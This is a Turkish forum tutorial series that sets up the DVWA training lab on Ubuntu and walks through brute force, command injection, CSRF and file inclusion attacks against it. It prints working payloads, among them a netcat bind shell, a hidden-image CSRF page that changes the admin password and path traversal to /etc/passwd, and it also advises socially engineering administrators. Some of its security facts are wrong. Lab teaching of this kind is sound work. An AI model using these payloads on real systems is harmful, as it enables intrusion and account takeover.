Ubuntu DVWA Dersleri

LakhoPss

Uzman üye
31 Ara 2014
1,512
0
root@kali:~#
DERS I (KURULUM):

DVWA, yani Damn Vulnerable Web Application web uygulama guvenligi alaninda kendini gelistirmek ve tecrube kazanmak isteyen guvenlik uzmanlari icin olusturulmus PHP tabanli, seviyenize gore dusuk, orta ve yuksek derecelerde aciklar olusturan, localhost (127.0.0.1) uzerinde calisan bir web uygulamasidir. DVWA bize;


  • Brute Force,
  • CSRF,
  • SQL Enjeksiyonu,
  • Upload Vuln.
  • File Inclusion,
  • Command Execution,
  • XSS Reflected/Stored,
gibi sikca kullanilan bazi webapp. guvenlik zaafiyetlerinin ve ataklarinin tespit edinilmesi - bu aciklardan yararlanilmasi uzerinde deneyim kazanmayi sunuyor. Bugun sizlerle Ubuntu 14.04.3 Trusty Tahr uzerinden DVWA kurulumunu ogrenecegiz.


1_ 'sudo su' komutu ile terminal uzerinde yonetici izinlerine sahip olunur. Asagidaki komut yardimiyla MySql, bilgisayara kurulur. MySql coklu kullanici barindirma icerigi sunan bir veritabani yonetim sistemidir. Kurulum esnasinda sizden MySql icin bir sifre ister. Onu girersiniz ve kurulum sona erer.
Kod:
root@archLuser:~# apt-get install mysql-server
2_ PHP5, PHP-PEAR, Apache2 web sunucusu ve PHP5-MySql asagidaki komut yardimiyla kurulur. PHP, daha once de bahsettigimiz gibi DVWA'nin yazilmis oldugu web programlama dilidir. Apache ise acik kaynak kodlu, web sunucu yazilimidir.
Kod:
root@archLuser:~# apt-get install unzip apache2 php5 php5-mysql php-pear
3_ Gerekli olan yazilimlar sisteme kurulup barindirildiktan sonra DVWA'nin kurulumuna gecilir. Bunun icin asagidaki komutlar sirasiyla yazilir.
Kod:
root@archLuser:~# cd /var/www/html
root@archLuser:/var/www/html# wget https://github.com/RandomStorm/DVWA/archive/v1.0.8.zip
root@archLuser:/var/www/html# unzip v1.0.8.zip
root@archLuser:/var/www/html# mv DVWA-1.0.8 dvwa
4_ Kurulum dosyalari Apache web sunucusunun default olarak kullandigi dizine aktarildiktan sonra gerekli olan ayarlamalar yapilir. Bu ayarlamalari sirasiyla a, b, c ve d olmak uzere 4 adimda inceleyecegiz.

a)
DVWA config dosyasi editlenir. Bunun icin;
Kod:
root@archLuser:/var/www/html# nano dvwa/config/config.inc.php

komutu ile config (ayar) dosyasi herhangi bir text editor ile acilir. Biz bugun nano'yu kullandik. Karsimiza cikan ekranda 'db_password' kismi MySql kurulumunda belirledigimiz sifre yapilir ve Ctrl+X komutu ile cikilir.

b) Terminal uzerinden Apache PHP ayarlari duzenlenir. Bunun icin ise;
Kod:
root@archLuser:~# nano /etc/php5/apache2/php.ini

komutu kullanilir. 'allow_url_include' kismi bulunarak 'Off' ayari 'On' olarak degistirilir. Bu da yapildiktan sonra;

Kod:
root@archLuser:~# chmod -R 777 /var/www/html/dvwa

komutu ile klasor izinleri duzenlenir. -R operatoru normalde dosya izinlerini duzenlemek icin kullanilan 'chmod' komutunun klasor izinlerini de duzenlemesini saglar.

c) Asagidaki komutlar sirasiyla yazilarak MySql sifresi girilir ve 'dvwa' adiyla MySql veritabani olusturulur, MySql baglantisi 'exit' komutuyla koparilir.
Kod:
root@archLuser:~# mysql -u root -p
root@archLuser:~# create database dvwa;
root@archLuser:~# exit

d)
Apache2 ayar (config) dosyasi duzenlenir. Bunun icin asagidaki komut ile text dosyasi acilir, en alt satira 'ServerName localhost' yazilir, Ctrl+X ile kaydedilip cikilir.
Kod:
root@archLuser:~# nano /etc/apache2/apache2.conf


5_
Apache2 servisi baslatilir. Bunun icin 'service apache2 start' komutu kullanilir. Bu adimdan sonra herhangi bir web tarayicisi acilarak (Tercihen Mozilla Firefox) 'https://127.0.0.1/dvwa/setup.php' URL (Uniform Resource Locator) adresine gidilir ve uzerinde 'Create/Reset Database' yazan butona tiklayarak veritabani olusturulur.

6_ Geldik son adimimiza.. Bu adimda 'https://127.0.0.1/dvwa/' URL adresine gidilir ve;
Kod:
Kullanici adi: admin
Sifre: password

olacak sekilde giris yapilir. Bundan sonra yapacaklariniz size kalmistir.
Bu web uygulamasini Windows uzerinden 'wamp server' adli yazilim ile kullanabilirsiniz.

5mz6yR.png


5PBQbL.png


DERS II (GUVENLIK ZAFIYETLERI)
:

Bu dersimizde, DVWA'da bulunan, en cok kullanilan guvenlik aciklarini taniyacagiz. Once guvenlik zaafiyetinin kelime manasi ile derse baslayalim. Guvenlik acigi, kelime manasi olarak herhangi bir sistem, cihaz veya sunucuda meydana gelen, guvenligi tehlikeye atabilecek veya kotu amacli kisiler tarafindan degerlendirilebilecek zayifliklara verilen isimdir. Guvenlik acigi herhangi bir ortamda, insanda bile olusabilir (Sosyal Muhendislik).
Guvenlik aciklarini arttirmak mumkundur. Binbir cesit acik vardir. Biz bu dersimizde DVWA dolayisiyla, web uygulamalarinda meydana gelen, en cok kullanilan zayifliklari anlamaya, ogrenmeye calisacagiz. Ilk dersimizde olusturdugumuz siralamayi takip edecegiz. Bu siralamaya gecmeden once belirtmek isterim ki, ilerideki derslerde DVWA uzerinde sizma islemi sadece tek bir yontemle gerceklesecektir. Diger yontemleri guvenlik aciginin bulundugu bolumde bulunan 'view help' butonuna tiklayarak goruntuleyebilir, fikir edinebilirsiniz. Yine o bolumlerde bulunan 'view source' butonuna tiklayarak formun sourcesini (kaynak kodlarini) goruntuleyebilir, sizma islemi icin fikir edinebilirsiniz.

1_ Brute Force Atagi: Brute Force, sozluk sirasina gore artan karakterlerle 1..9, a..b, A..B ve ozel karakterler kullanarak stringler ureten ve bu stringleri pop3, smtp, smb, ftp, http, e-mail gibi protokoller veya html formlari uzerinde deneyen atak cesididir. Eger bu atak cesidinde belli bir sozluk kullanilirsa 'Sozluk Atagi', once sozluk atagi uygulanip daha sonra brute force atagi kullanilirsa da 'Hybrid Atagi' olarak isimlendirilir. Tum bu ataklarda amac, hedef sisteme deneme - yanilma yoluyla sizmaktir. Bu tur ataklari uygulamak icin Hydra, Brutus, Medusa gibi araclar kullanilabilir.

Web formlarda Brute Force atagina karsi alinabilecek en iyi onlem, belli bir sifre deneme sayisindan sonra CAPTCHA (Completely Automated Public Turing Test To Tell Computers and Humans Apart) kodu, herhangi bir guvenlik kodu vs. girilmesinin istenmesidir. Bu sayede robotlara karsi en iyi sekilde onlem alinabilir.

Brute+Force+Attack+by+Hackw0rm.png


2_ CSRF: Acilimi 'Cross Site Request Forgery' olan CSRF ataginin Turkce manasi 'Siteler Arasi Istek Sahteciligidir'. Uyuyan Dev olarak da bilinir. Pek bilinmeyen bu saldiri bizzat yonetici kullaniciya dogru yapilir ve sosyal muhendislik gerektirir. CSRF ile e-mail islemleri, kullanici yaratma - kullanici bilgilerini degistirme gibi kullanici islemleri yapmak mumkundur. Bu yuzden dogurabilecegi sonuclar oldukca agir olabilir. CSRF Saldirilari basit kodlarla yapilabilir. CSRF aciginin tespit edilmesinde testler Burp Suite, Paros gibi yazilimlarla yapilabilir. Gmail kullanici bilgileri 2007 yilinda bu yontem ile calinmistir.

3_ SQL Enjeksiyonu: SQL, yani Structured Query Language veritabani islemleri icin gelistirilmis basit yapili bir dildir. SQL Enjeksiyonu, SQL cumlecikleri olusturulurken arada bulunan m.eta karakterler yuzunden ortaya cikan bir aciktir. M.eta karakter programin anlam yukledigi herhangi bir karakterdir. Ms Sql 1433 TCP, 1434 UDP, MySql 3306 TCP/UDP ve Oracle ise 1521,1810,2481 ve 7778 portlarini kullanir. SQL Enjeksiyonu ile hedef sunucuda program calistirilabilir, dosya - dizin islemleri yapilabilir, tablodaki kayitlar degistirilip cekilebilir ve web sayfasi olusturulabilir. Kor, yani Blind SQL Enjeksiyonu ise, hata vermesi gereken sayfanin yonlendirilmesiyle veya engellenmesi durumunda basvurulan yontemdir. Saldirgan SQL cumlelerine dogru ve yanlis cumleler vererek veri calmaya calisir. SQL zafiyetinin kullanilmasi icin Sqlmap, Sqlninja, Sqlier gibi yazilimlar kullanilabilir. Bu acik m.eta karakterlerin filtrelenmesiyle engellenebilir.

wNq1c2.png


4_ Upload Acigi: Web uygulamalarinda bulunan resim, belge, dosya upload etme kisimlarinin kotuye kullanilmasiyla olusan aciktir. Saldirgan, bu tur yerler araciligiyla siteye arka kapi (Backdoor) enjekte edebilir. Bu tarz aciklarin kapatilmasi icin dosya upload kisimlarinda uzanti - dosyanin islevi gelismis filterlar aracigiyla filtrelenmelidir.

5_ File Inclusion: Sizin de bildiginiz isimlerle LFI (Local File Inclusion) ve RFI (Remote File Inclusion) olarak bilinirler. LFI yerel dosya dahil etme, RFI ise uzaktan dosya dahil etme manasina gelir. Zararli kod enjeksiyonu saldirilaridir. PHP web programlama dili ile yazilmis uygulamalarda meydana gelirler. Filtreleme hatalarindan veya degiskene deger atanmamasi durumundan kaynaklanirlar. Korunmak icin degiskene deger atamasi veya 'php.ini' dosyasinin editlenmesi gerekir.

6_ Command Execution: En tehlikeli guvenlik acigidir (10.0). Kod calistirma acigi olarak da bilinir. Komut calistiran web uygulamalarinda ortaya cikan bir aciktir. Hedef sistemde bash komutlari calistirmaya yarar. Genellikle PHP web programlama dili ile programlanan sitelerde ortaya cikar. Bu tur aciklarin genelde PHP uzerinde olusmasinin sebebi karmasik bir dil olmasidir.

7_ XSS Stored/Reflected: Acilimi 'Cross Site Scripting' olarak tanimlanir. XSS, saldirganin hedef sisteme kotu niyetli kodlar ekleyip calistirmasina olanak saglayan acik cesididir. Genelde Javascript yardimi ile kodlar enjekte edilir. XSS ile saldirganlar web sayfasinda yonlendirme, oturum cerezlerini ele gecirme ve siteyi ziyaret eden kullanicilara kotu amacli yazilim bulastirma islemleri gerceklestirilebilir. Stored, yani depolanmis XSS kullanicilarin girdigi metinlerin veritabaninda depolandigi sistemlerde gorunur. Sayfayi ziyaret eden herkese zararli kodu ulastirabilir. Reflected, yani yansitilmis XSS ise zararli kodlarin bulundugu sayfaya hedeflerin sosyal muhendislik yardimiyla yonlendirilmesi ile saglanir. Bu genellikle hedeflerin oturum bilgilerini calmakta kullanilir.


alert1_2.png


5PBQbL.png


DERS III (BRUTE FORCE DVWA - LOW)
:

Evet arkadaslar. Artik yavastan DVWA uzerindeki aciklari cozmeye basliyoruz. Brute Force ile baslayacagiz. Gerekli yazilimlarimiz Burp Suite ve Mozilla Firefox. Burp Suite, pentest islemlerinde kullanilan, cok amacli bir web proxy uygulamasidir. Bircok eklenti barindirir. Mozilla Firefox ise bildiginiz uzere bir web tarayicisidir.

Brute Force DVWA - Low Kaynak Kodlari Incelemesi: Baslangic olarak bu guvenlik aciginin bulundugu formun kaynak kodlarini inceleyelim. Kodlara baktigimiz zaman kurulum sirasinda olusturdugumuz MySql ile yapmis oldugumuz DVWA veritabaninda bulunan kullanicilarla forma girdigimiz verileri karsilastirip, dogru veya yanlisligina gore bir karsilama mesaji verdigini gorebiliriz. Formda Brute Force atagini engellemek adina herhangi bir guvenlik onlemi bulunmuyor.

1DoPOD.png


1) Kaynak kodlarimizi inceledigimize gore oncelikle Mozilla Firefox'u acip URL kismina 'http://127.0.0.1/dvwa' yaziyoruz ve giris yapiyoruz. Kullanici adi - sifre default olarak 'admin - password' olarak tanimlanir. Giris yaptiktan sonra 'DVWA Security' kismina gelip dereceyi 'low' yapip submit diyoruz ve ardindan yan taraftan 'Brute Force' butonina tikliyoruz.

A6v19z.png


2) 'Burp Suite' adli yazilimi calistiriyoruz.
Burp Suite adli yazilimi Ubuntu'ya kurmak icin sirasiyla asagidaki komutlari giriyoruz. Bu komutlari uyguladiktan sonra /opt dizininde 'Burp Suite' adli bir dizin olusturulacak ve bu dizine kurulum dosyalari yuklenecektir.
Kod:
sudo su
cd /opt
mkdir burpsuite
cd /opt/burpsuite
wget [URL]https://portswigger.net/burp/burpsuite_free_v1.5.jar[/URL]

Burp Suite yazilimini kullanmak icin sistemde Java kurulu olmalidir. .jar dosyasini indirdikten sonra 'cd /opt/burpsuite' dizinine gelip calistirmak icin 'java -jar burpsuite_free_v1.5.jar' komutunu kullanmamiz yeterli olacaktir.

XqjPV0.png


3) Burp Suite'nin 'proxy' ozelligini kullanabilmemiz icin tarayicimizi ayarlamamiz gerekmektedir. Mozilla Firefox uzerinden bu ayarlamayi yapmak icin sirasiyla 'Menu > Preferences > Advanced > Network > Settings' yolu izlenir. Daha sonra 'Manual Proxy Configuration' radiobutton'a tik atilir ve 'Http Proxy' kismina 127.0.0.1, port kismina ise 8080 yazilir. Daha sonra 'Use this proxy server for all protocols' checkbox'u isaretlenir ve kaydedilip cikilir.

lr8OoB.png


4) Gerekli ayarlamalar yapildiktan sonra Burp Suite uzerinden 'Proxy' butonuna tikliyoruz ve 'Intercept' dizinine geliyoruz. Bu dizinde eger 'Intercept is Off' diyorsa o butona bir kez tiklatip 'Intercept is On' yazmasini bekliyoruz. DVWA uzerindeki Brute Force yapacagimiz forma rastgele deger atiyoruz. Ornegin 'Kullanici adi: deneme & Sifre: example'. Daha sonra 'Login' butonuna tiklatiyoruz.

1D3J9G.png


5) 'Login' butonuna tikladigimiz anda, Burp Suite uzerinde 'GET' istegimiz gozukecektir. 'Http Get Request', en cok kullanilan methodlardan biridir. Istegimiz gozuktugu zaman sag tiklayip 'Send to Intruder' veya Ctrl+I yapiyoruz ve sirasiyla trafik akisini 'Forward' butonuna basarak devam ettiriyoruz. Istekler bittigi zaman dilersek 'Intercept is On' butonuna tiklayaraktan trafigi dinlemeyi durdurabiliriz. Bu adimi da tamamladiktan sonra ust kisimdaki butonlardan 'Intruder' butonuna tikliyoruz.


6) Intruder dizinine geldigimiz zaman, karsimizda web form uzerinden yaptigimiz istek gozukecektir. '$' arasinda bulunan kisimlar degiskenlerdir ve Burp, bunlari otomatik olarak isaretlemistir. Biz sadece kullanici adi ve sifre denemesi yapacagimiz icin 'Clear $' butonuna tikliyoruz. 'Username' ve 'Password' kisimlarinda bulunan stringleri, bu ornegimizde 'deneme' ve 'example' stringlerini mouse ile isaretleyerek 'Add $' butonuna tikliyoruz. 'Attack Type' kismini 'Cluster Bomb' yapip birakiyoruz.

1D3EmG.png


7) Artik sozluk atagimiza baslayabiliriz. 'Payloads' butonuna tikliyoruz ve 'Payload Set' kismini 1 olarak ayarliyoruz. 1 olarak ayarladigimiz zaman ilk tanimladigimiz degisken, yani 'Username' icin string listemizi belirliyoruz. Daha sonra 'Payload Options' kisminda bulunan 'Enter a new item' textbox bolumune kullanici adlarini sirasiyla yazarak 'Add' butonuna tikliyoruz. Dilersek 'Load, Paste' kisimlarindan hazirda bulunan listeleri programin kullanacagi listeye ekleyebiliriz. Daha sonra 'Payload Set' kismini 2 yaparak 2 degiskenimiz olan sifre kismi icin ayni adimlari uyguluyoruz. Sirada atagin basarili olup olmadigini Burp'un anlamasi icin, giris yapildigi zaman cikacak stringi programa tanitiyoruz. DVWA uzerinden giris yapildigi zaman ortaya 'Welcome to password protected area admin' stringi cikar. Intruder uzerinden 'Options > Grep Match' kismina gelerek varsayilanlari 'Clear' butonuna tiklayarak temizliyoruz ve giris basarili oldugunda ortaya cikan stringi textbox'a yapistirip 'Add' butonuna tikliyoruz.
'Intruder > Start Attack' yolunu izleyerek sozluk atagimizi baslatiyoruz.

A6vzZQ.png


Sonuc: Sozluk atagimizin sonucunda, checkbox'un isaretlendigi kisimda web sitesi uzerindeki forma yapilan atagin basarili oldugu degiskenler bulunur. Bu degiskenleri giris kismina yazdigimizda da girisin basarili oldugu sonucuna ulasacagiz. Yani atagimiz basariyla sonuclanmistir. Bu atagi gercek bir sistemde denemis olsaydik, sistemde bulunan yonetici izinlerine erisebilirdik. Sistemde yaptigimiz pentest islemleri basariyla sonuclanmis olurdu. Bu dersten Brute Force atagindan korunmak icin zor ve tahmin edilmesi guc sifreler secmemizi, web formlara Brute Force atagini engelleyici faktorler koymamiz gerektigini ve Brute Force ataginin basarili olmasi durumunda hayati onem arz ettigi sonuclarina ulastik.

LgXDdz.png


5PBQbL.png


DERS IV (COMMAND EXECUTION DVWA - LOW)
:

Bu dersimizde sizlerle DVWA uzerinde bulunan 'Command Execution' acigini 'Low' derecesinde kullanmayi ogrenecegiz. Bu acik daha once de bahsettigimiz gibi herhangi bir komut calistiran web uygulamalarinda gorulur. Bu acik ile hedef sistemde bash komutlari calistirabiliriz. Bu yuzden en tehlikeli guvenlik acigidir ve genellikle web developerlar bu sebeplerden dolayi komut calistiran uygulamalari hatasiz bir sekilde yazmaya dikkat ederler. Biz bugun Mozilla Firefox, Netcat (nc) adi yazilimlari kullanarak, bu aciga sahip olan sunucuya backconnect olmayi ogrenecegiz.

Command Execution DVWA - Low Kaynak Kodlari Incelemesi: Nereden geldigini bilmeden olmaz diyerekten, formumuzun bu kisminin kaynak kodlarini alt tarafta bulunan 'View Source' kismina basip inceliyoruz. Incelememizin sonucunda eger sunucu Windows ise 'ping <target>', degilse 'ping -c 3<target>' komutunu uygulayacagini goruntuleyebiliriz. Onun disinda bir komut calistirma kod parcacigi oldugunu gorebiliyoruz.

nmDVol.png


1) Kaynak kodlarini inceledikten sonra oncelikle Mozilla Firefox'u acip URL kismina 'https://127.0.0.1/dvwa' yaziyoruz ve giris yapiyoruz. Kullanici adi - sifre default olarak 'admin - password' olarak tanimlanir. Giris yaptiktan sonra 'DVWA Security' kismina gelip dereceyi 'low' yapip submit diyoruz ve ardindan yan taraftan 'Command Execution' butonina tikliyoruz.

Ngda15.png


2) Karsimiza 'Ping for FREE' adli bir bolum gelecektir. Bu kisimda, ip adresini yazdigimiz zaman ip adresine icmp paketleri gondererek bu paketlerin ulasma zamanini vs. goruntuleyen bir web application bulunuyor. Yani komut calistiran bir web uygulamasi bulunuyor. Oncelikle bunun uzerinde baska komutlar calistirip calistiramayacagimizi gormek icin ip adresini girecegimiz textbox'a 'cat /etc/passwd' komutunu yaziyoruz. 'etc/passwd' sisteme erisimi olan kullanicilarin oturum bilgilerinin sifrelenmis bir bicimde yer aldigi kisimdir. Bu komutu yazdigimiz zaman karsimiza hicbir sey cikmadi, demek ki bir yerlerde hata yaptik.

j1a06m.png


3) Textbox'a ne yazarsak yazalim, ip adresi olmadigi surece herhangi bir hata vs. cikartmiyor. Bu sebepten oturu ip adresini yazip yanina 'cat /etc/passwd' yazmayi deneyelim. Bu denemeyi ';' yardimi ile yapacagiz. Noktali virgul, Linux uzerinde bir komuttan sonra baska bir komut calistirilmasi icin kullanilir. Yani komutumuz asagidaki gibi olacaktir. Komutu denedikten sonra ise yaradigini gorecegiz. Simdi Netcat ile terminalden sunucuya baglanmak adina erisimi saglama islemine gecebiliriz.
Kod:
192.168.1.1; cat /etc/passwd


P6A875.png


4) Bu baglantiyi kurmak icin, 4443 numarali portu (Port numarasi fark etmez) sunucuda dinlemeye alip, terminal uzerinden netcat yardimi ile sunucuya o port uzerinden baglanmamiz gerekmektedir. Port, herhangi 2 cihaz arasinda iletisimi saglayan veri kanalina verilen isimdir. Web sayfasi uzerinden 4443 numarali portu dinlemeye almak icin:
Kod:
192.168.1.1 ;mkfifo /tmp/pipe ;sh /tmp/pipe | nc -l 4443 > /tmp/pipe

komutunu kullanacagiz. Mkfifo komutu, isimlendirilmis bir pipe olusturmak icin kullanilir (FIFO). Pipe ise islemler arasi iletisim icin kullanilan bir isarettir. 'nc -l 4443' komutu ile 4443 numarali portu dinlemeye aldik.

7Xp9QN.png


5) Son adim olarak terminal uzerinden sunucunun dinlettigi port araciligi ile giris sagliyoruz. Bunun icin 'nc -v 127.0.0.1 4443' komutunu kullaniyoruz. Bu komuttan sonra 'Connection to 127.0.0.1 4443 port [tcp/*] succeeded!' gibi bir uyari mesaji ile karsilastiysak islem tamamlanmistir. Sunucuya bind tcp ile giris saglamis bulunuyoruz.

MgbNBM.png


Sonuc: Command Execution acigi bulunan bir sisteme Netcat yardimiyla bash uzerinden connect olduk. Dolayisiyla sistemde rahatlikla komut calistirabiliriz. Eger permission olarak yetersiz isek, 'uname -a' komutu ile kernel surumunu ogrenip, bu surume uygun local root exploit ile root izinlerine sahip olabilir, sunucuda hak kazanabilir, yetki yukseltebiliriz. Exploit arayici olarak 'Searchsploit' aracini kullanabilirsiniz. Command Execution aciginin neden bu kadar onem arz ettigini bu pentest ornegimiz uzerinden fark etmis bulunduk.

local-exploit-passwd.png


Ek Bilgi: Exploit, sistemin acigini kullanmak, ele gecirmek veya veri cekmek amaciyla olusturulan, genelde C, Perl, Python ve Ruby dilleri ile yazilan araclar ve yazilimlardir. Exploit cok genis bir kavramdir. Bu yuzden sadece yuzeysel bir anlatim yapacagiz. Exploit,

  • Remote Exploit
  • Local Exploit
  • 0day Exploit
olmak uzere belli basli gruplara ayrilir. Bu ayrismanin sebebi exploitlerin kullanim alanlaridir. Remote Exploit, uzak sisteme yapilan veri cekim islemleri icin kullanilan exploit cesididir. Local Exploit, sistemde dogrudan calisabilen, yetki ve hak yukseltme islemlerinde kullanilan exploit cesididir. 0day Exploit ise sistemde bulunan herhangi bir acigin fark edilmesiyle birlikte yazilan ve hizlica yayilan exploit cesididir. Cok tehlikelidir, cunku sistem yoneticileri daha acigin farkinda bile olmazken saldiriya ugradiklari anda buyuk zararlara yol acabilir. Exploit aranmasi icin en cok kullanilan web siteleri Packet Storm Security ve ExploitDB'dir. M.etasploit, icinde bircok exploit barindiran cok amacli bir sistemdir. Bunlara ilerideki derslerimizde siklikla deginecegiz.

5PBQbL.png


DERS V (CSRF DVWA - LOW):

Simdiki dersimizde, DVWA uzerinde bulunan CSRF,
yani 'Cross Site Request Forgery' acigini 'Low' derecesinde kullanmayi ogrenecegiz. CSRF, bildigimiz uzere sunucuda yetki sahibi herhangi bir kullanicida istem disi istekler calistirmamizi saglayan aciktir. Bu acigi bugun, DVWA uzerinden cok az bir miktar 'Social Engineering' (Sosyal Muhendislik) kullanarak, yonetim yetkisine sahip kullanicinin oturum sifresini degistirmek icin kullanacagiz. Bu asamalarda, simdilik 'gedit' adli text editorunu ve HTML kodlama bilgimizi kullanacagiz.

CSRF DVWA - Low Kaynak Kodlari Incelemesi: Kodlari inceleyelim. PHP ile yazilmis olan kaynak kodlarini inceledigimiz zaman, MySql veritabani uzerinde bulunan yonetim kullanicisi (Admin)'nin oturum bilgilerinin, HTTP GET methodu ile aktarilip form uzerindeki bilgilerle, MD5 hash seklinde veritabanina kaydedilmesi seklinde bir sonuca ulasmis olacagiz. Kaynak kodlarini inceledigimize gore bu aciktan yararlanma kismina gecelim.

0NYyk8.png


1) Kaynak kodlari hakkinda bir fikir edindikten sonra oncelikle Mozilla Firefox'u acip URL kismina 'https://127.0.0.1/dvwa' yaziyoruz ve giris yapiyoruz. Kullanici adi - sifre default olarak 'admin - password' olarak tanimlanir. Giris yaptiktan sonra 'DVWA Security' kismina gelip dereceyi 'low' yapip submit diyoruz ve ardindan yan taraftan 'CSRF' butonina tikliyoruz. Karsimiza bir kullanici sifresi degistirme formu gelecektir.

lrME9J.png


2) Giris yaptiktan sonra artik adimlarimiza baslayabiliriz. Daha onceden de dedigim gibi bugun 'CSRF' acigi ile yonetici kullanicinin (Administrator) sifresini degistirecegiz. Bu olay icin hedef sistemde bulunan form hakkinda az da olsa bir fikir sahibi olmamiz gerekir. Bunun icin rastgele degerler atayarak kullanici sifresini degistirelim. Ben sifreyi 'TestPass' olarak degistirecegim.

dZ1XkD.png


3) Yonetim kullanicisinin sifresini degistirdigimiz zaman, karsimiza 'Password Changed' adli bir kontrol mesaji cikti, URL kisminda bizi bir URL adresine yonlendirdigini gorduk. Yani forma girdigimiz degerler aynen URL uzerindeki degiskenlere tanimlanarak, gidilen degisken URL'ye gore sifremiz degisiyor. Bundan emin olmak icin asagidaki URL adresine gidelim ve sifremizin degisip degismedigini teyit edelim, bu ornege gore sifremizin 'TestPass1' olarak degismesi gerekir.
Kod:
http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=[COLOR=Red]TestPass1[/COLOR]&password_conf=[COLOR=Red]TestPass1[/COLOR]&Change=Change#


P6yQMd.png


4) Sifremizi teyit ettikten sonra artik emin olabiliriz ki, penetrasyon testleri (Pen-Test) yaptigimiz sitede potansiyel bir CSRF acigi var. Bu aciktan yararlanmak icin ilk basta herhangi bir text editor ile (Tercihen Gedit - NetBeans IDE) HTML bir form kodlayacagiz. Terminale 'gedit' yazarak text editorumuzu baslatiyoruz ve asagidaki kodlari yaziyoruz:
Kod:
<!DOCTYPE html>
<html>
   <head>
      <title>Pen-Test Ornek</title>
   </head>
   <body>
      <img src="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=TestPass2&password_conf=TestPass2&Change=Change#" width="0" height="0">
   </body>
</html>

Daha sonra bu dosyayi kaydedip uzantisini '.html' olarak degistiriyoruz. Bu kodlar yardimi ile, kullanici 'img src' tagi ile yazilan URL adresinde bulunan image'i cekecektir. Yani o URL adresine dolayli yoldan gitmis olacaktir. 'Height' ve 'Weight' parametrelerini sifirlayarak bos resmin goruntulenmemesini saglamis olduk. Biz o URL adresine CSRF acigi bulunan adresi yazdigimiz zaman o adrese gitmis olacak, sifresi degismis olacaktir. Simdi bu dosyayi acalim.

QY6Qag.png


5) Dosyayi actigimiz zaman gorecegiz ki, sifremiz 'TestPass2' olarak degismis olacaktir. giris yapacagimiz zaman da belirledigimiz sifre ile girmemiz gerekecektir. Yani atagimiz basarili olmus olacak. Bu testi gercek platformlarda yapmak istersek bu dosyayi herhangi bir siteye upload edip sosyal muhendislik yetenegimizi konusturmamiz gerekecektir. Yani site yoneticisinin herhangi bir yolla bu URL adresine gitmesini saglamamiz gerekecektir.

Ngzk1L.png


Sonuc: CSRF acigindan yararlanarak yoneticiye sosyal muhendislik ile bir URL adresi verdik. Bu adresin kodlarinda hedef sistemde bulunan yonetici kullanicisinin sifresini degistirmeye yarayan kodlar vardi. CSRF acigi sayesinde sistemde izinsiz hak yukseltme yapabilir, kullanici ekleme - silme - degistirme, kisacasi kullanici islemleri yapabilir ve erisimi sagladigimiz site uzerinde bircok islem gerceklestirebiliriz. Bu acik sayesinde hatirladigim kadariyla 2009 yilinda Google Mail (Gmail) kullanici hesaplari hacklenmisti. Bu pentest islemlerimizin sonucunda CSRF acigi hakkinda bilgi sahibi olduk ve bu acigin ne kadar onem tasidigini ogrendik.

q85EGB.png


Ek Bilgi: MD5, yani Message Digest 5 hexadecimal (16'lik) karakterlerden olusan 32 haneli, 128 bit bir hash algoritmasidir. 3 gb'lik (Gigabyte) bir iso dosyasini da MD5 ile hashleseniz (md5sum), 5 haneli bir stringi de MD5 ile hashleseniz sonuc olarak 32 haneli bir string elde edeceksinizdir. MD5 128 bit olmasina ragmen 32 hanelidir, cunku her digit 4 bittir. MD5 karakterlerden degil hexadecimal digitlerden olusur. MD5'in kirilmasi teorik olarak imkansizdir, cunku daha once de dedigim gibi tek yonludur (OneWay). Ancak Rainbow Table uzerinden onceden cozumlenmis MD5'lerin karsiligi olan stringleri bulabilir, veya John the Ripper - Hashcat gibi hash uzerinde Brute Force Atagi, Sozluk Atagi veya Hybird uygulayan yazilimlarla cozumlenebilir fakat bu olay yuzyillar alabilir.
 
Moderatör tarafında düzenlendi:

LakhoPss

Uzman üye
31 Ara 2014
1,512
0
root@kali:~#
0wZgK9H.png


DERS VI (FILE INCLUSION DVWA - LOW):

Bu dersimizde, onceden de anlamini yuzeysel bir sekilde anlattigimiz 'File Inclusion' (Dosya Dahil Etme) acigini DVWA uzerinden 'low' seviyesinde tespit etmeyi ve yararlanmayi ogrenecegiz. Bu acik Turkce mealinde de gordugumuz uzere, sunucuya veya sisteme disaridan dosya yuklemeye yarayan, PHP tabanli web sitelerinde bulunan kodlama hatalarindan ortaya cikar. 'Low' seviyesinde ihtiyacimiz olan araclar 'Burp Suite', 'Weevely' ve 'Mozilla Firefox' olacaktir. Weevely, herhangi bir sunucuyla olan erisimi devam ettirmek icin kullanilan, 'Telnet' - 'SSH' protokolleri tarzi bir sistem kullanan PHP Backdoor yazilimidir. Artik dersimize baslayabiliriz.

File Inclusion DVWA - Low Kaynak Kodlari Incelemesi: Her dersimizde oldugu gibi once kaynak kodlarini inceleyelim. Bu basit PHP kodunda gorecegimiz uzere '$file' degiskeni hicbir filtrelemeye tabi tutulmadan, dogrudan gosterilmek istenen web sayfasina yonlendirilmektedir. Bu da bize degiskene istedigimiz degeri atama imkani sunar. Simdi yapacagimiz testlerle acigin gercekten var olup olmadigi konusunda fikir edinelim.

Royaj6.png


1) Ilk basta Mozilla Firefox'u acip URL kismina 'http://127.0.0.1/dvwa' yaziyoruz ve giris yapiyoruz. Kullanici adi - sifre default olarak 'admin - password' olarak tanimlanir (Onceki dersimizde ayarladigimiz 'TestPass2' sifresini degistiriyoruz). Giris yaptiktan sonra 'DVWA Security' kismina gelip dereceyi 'low' yapip submit diyoruz ve ardindan yan taraftan 'File Inclusion' butonina tikliyoruz.

yLdyky.png


2) Giris yaptiktan bir bilgilendirme mesajiyla karsilasacagiz. '
To include a file edit the ?page=index.php in the URL to determine which file is included.' Bu mesaji aldigimiza gore ayarlamalari basariyla yapmisiz demektir. Simdi acigimizin sistemde bulunup bulunmadigini gormek icin, URL adresimizde bulunan include.php'yi, yani '$file' degiskeninin su anki halini '/../../../etc/passwd' olarak degistiriyoruz. '/etc/passwd' dizini, Unix - Linux tabanli sistemlerle sifrelenmis bir sekilde (DES) user - group kimliklerinin bulundugu yerdir.

7MmO4W.png


